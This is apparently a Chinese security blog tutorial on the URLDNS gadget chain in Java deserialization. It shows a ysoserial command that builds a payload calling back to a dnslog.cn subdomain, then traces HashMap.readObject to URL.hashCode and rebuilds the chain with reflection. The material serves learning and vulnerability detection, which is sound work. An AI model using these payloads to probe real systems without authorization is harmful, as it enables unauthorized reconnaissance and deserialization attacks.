在java反序列化那篇文章里面我们提到要借助一个简单的例子来了解java反序列化的gadget,URLDNS就是这么一个例子。
URLDNS是ysoserial的一个利用链,而ysoserial是java反序列化中最为有名的利用工具。
ysoserial生成URLDNS payload
首先下载ysoserial.jar: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
在dnslog.cn上生成一个子域名

生成payload到URLDNS.ser:
1
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://kz3fay.dnslog.cn > URLDNS.ser
|
反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public class example {
public static void main(String[] args) {
try {
String fileName = "./URLDNS.ser";
FileInputStream f1 = new FileInputStream(fileName);
ObjectInputStream in = new ObjectInputStream(f1);
Object p1 = in.readObject();
System.out.println(p1);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
|
运行后刷新dnslog记录可以发现已经有了查询记录
原理
这后面发生了什么? 导致了dns查询的产生?
如果我们从零开始调试,可能会陷入复杂的调用链中,最后弃坑。 ~~
但是我们有ysoserial, 直接查看ysoserial的URLDNS payload生成代码。
1
2
3
4
5
6
7
8
9
10
11
|
...
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
...
|
ysoserial的注释里面说明了这个gadget链, 我们知道,在反序列化过程中,ObjectInputStream
会自动
调用类的readObject
方法。
看起来就是HashMap的readObject方法最后调到了URL的hashCode方法,最终导致了dns的查询。
知道了这点,我们就可以尝试构造代码去调试了。
调试
这一步,其实就跟静态分析的污点流追踪很相似了
污点流追踪: 存在一个source点, sink点, 使得source有到达sink点的路径
这里的source点是HashMap.readObject()
; sink点是URL.hashCode()
sink
一般来说,先看sink点, 我们找到URL类的hashCode方法
1
2
3
4
5
6
7
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
跟进handler.hashCode

看里面的getHostAddress(u)
, 这个函数就是触发dns操作的函数了。
source
接着我们来看source, 还是一样,看HashMap类的readObject方法
1
2
3
4
5
6
7
8
9
10
11
12
13
|
private void readObject(java.io.ObjectInputStream s)
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
|
代码很长,我缩减了一部分,但是无所谓,我们只要找到gadget提到的putVal函数就行了
putVal的第一个参数就调用了HashMap的hash方法, 点进hash方法:
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
好的, 我们看到了熟悉的hashCode函数。整个链就齐活了。
构造代码
捋完了整条链,我们可以构造代码实现dns查询了。
先查一下怎么样才能调用putVal, 很容易就查到,HashMap的标准使用put函数就调用了putVal

那么可以构造代码为:
1
2
3
|
HashMap map = new HashMap();
URL url = new URL("http://m8dn0w.dnslog.cn");
map.put(url,123);
|
运行即会获取到dns查询记录了
但是如果就这样序列化了上面的代码,再反序列化是不会触发dns查询的, 原因在于
1
2
3
4
5
6
7
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
只有当hashCode的值为-1时,才会调用hashCode函数
然而hashCode的属性是private

不过无妨,我们可以通过反射去调用它, 最终代码为:
1
2
3
4
5
6
7
8
|
HashMap map = new HashMap();
URL url = new URL("http://9fl7lp.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,12334); // 设置hashcode的值为-1的其他任何数字
map.put(url,123);
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发
|
将map序列化再反序列化,即可看到查询记录。
ysoserial的URLDNS也是这个思路,反正大差不差,唯一不同的是, 为了避免在生成payload的过程中产生dns查询的误报,
ysoserial 定义了一个SilentURLStreamHandler
1
2
3
4
5
6
7
8
9
|
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
|
在实例化时传入这个handler

由于在URL类中handler的类型为transient, 因为transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求!

此种方法确实会比我们用反射设置url不为-1来得优雅一点。